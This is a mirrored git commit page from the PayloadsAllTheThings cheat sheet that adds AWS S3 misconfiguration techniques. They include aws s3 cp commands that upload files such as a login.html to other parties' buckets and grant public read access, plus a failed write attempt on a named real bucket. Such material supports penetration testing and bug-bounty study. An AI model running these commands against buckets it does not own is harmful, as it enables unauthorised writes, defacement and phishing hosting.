mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-11-10 07:04:22 +00:00
AWS cp files and grant access with ACL
This commit is contained in:
parent
f1eefd2722
commit
7b919e4492
1 changed files with 12 additions and 0 deletions
|
@ -29,6 +29,13 @@ http://[bucket_name].s3.amazonaws.com/
|
|||
http://flaws.cloud.s3.amazonaws.com/
|
||||
```
|
||||
|
||||
Their names are also listed if the listing is enabled.
|
||||
|
||||
```xml
|
||||
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
|
||||
<Name>adobe-REDACTED-REDACTED-REDACTED</Name>
|
||||
```
|
||||
|
||||
## Basic test - Listing the files
|
||||
|
||||
```bash
|
||||
|
@ -50,6 +57,11 @@ Non-authoritative answer:
|
|||
|
||||
## Move a file into the bucket
|
||||
|
||||
```bash
|
||||
aws s3 cp local.txt s3://some-bucket/remote.txt --acl authenticated-read
|
||||
aws s3 cp login.html s3://$bucketName --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers
|
||||
```
|
||||
|
||||
```bash
|
||||
aws s3 mv test.txt s3://hackerone.marketing
|
||||
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied."
|
||||
|
|
Loading…
Reference in a new issue